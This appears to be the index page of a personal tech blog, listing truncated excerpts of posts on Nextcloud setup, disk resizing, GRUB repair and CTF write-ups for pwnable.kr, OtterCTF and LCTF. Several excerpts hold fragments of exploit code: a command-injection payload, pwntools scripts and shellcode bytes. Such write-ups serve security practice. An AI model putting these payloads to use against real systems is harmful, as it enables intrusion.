welcome
nextcloud nextcloud
sudo yum install -y yum-utils device-mapper-persistent-data lvm2； sudo yum-config-manager --add-repo https://download.d
2019-09-26 web
nextcloud
extend hdd in linux with command extend hdd in linux with command
commanddf -lh fdisk /dev/sda Welcome to fdisk (util-linux 2.31.1). Changes will remain in memory only, until you decide
2019-09-26 trick
Linux
repair grub repair grub
way 1failed~ sudo su mount /dev/sda5 /mnt mount --bind /dev /mnt/dev mount --bind /dev/pts /mnt/dev/pts mount --bind /p
2019-09-20 repair
grub
mac install pwntools mac install pwntools
conda create -n py27 python=2.7 source activate py27 MACOS_UNIVERSAL=no python -m pip install pwntools
2019-09-20 trick
pwntools
pwnable-kr-7 pwnable-kr-7
1.lovelettersolve payload = 'nv sh -c bash ' + 'A' * (256 - 14 - 2 - 1) + '|\x01' 2.crypto1solv
2019-07-21 bin
Pwn pwnable.kr
pwnable-kr-6 pwnable-kr-6
1.echo2solve from pwn import * p = remote('pwnable.kr', 9011) shellcode="\x6a\x3b\x58\x99\x52\x48\xbb\x2f\
2019-04-30 bin
Pwn pwnable.kr
pwnable-kr-5 pwnable-kr-5
1.dragonsolveoverflow while ( *((_BYTE *)ptr + 8) > 0 ); uaf .text:080488C0 mov eax, [ebp+drago
2019-04-22 bin
Pwn pwnable.kr
otterctf_memory_forensics otterctf_memory_forensics
1. What the password? 100questionyou got a sample of rick’s PC’s memory. can you get his user password? format: CTF{…} A
2018-12-11 writeup
Forensics
lctf2018-god of domain pentest lctf2018-god of domain pentest
question题目描述： windows域环境权限不好配，还请各位师傅高抬贵手，不要搅屎 c段只用到了0-20，不需要扫21-255，端口也只开放了常用端口。 web.lctf.com中有个域用户是web.lctf.com\bugua
2018-11-20 web writeup
Pentest
pwnable-kr-4 pwnable-kr-4
1.tiny_easysolvefrom pwn import * shellcode = "\xeb\x11\x5e\x31\xc9\xb1\x32\x80" shellcode += "\x6c\x0e\
2018-10-30 bin
Pwn pwnable.kr
pwnable.kr_3 pwnable.kr_3
16.unlinkquestion #include <stdio.h> #include <stdlib.h> #include <string.h> typedef struct tagOBJ
2018-08-23 bin
Pwn pwnable.kr
pwnable.kr_2 pwnable.kr_2
13.uafquestion #include <fcntl.h> #include <iostream> #include <cstring> #include <cstdlib> #inc
2018-07-27 bin
Pwn pwnable.kr
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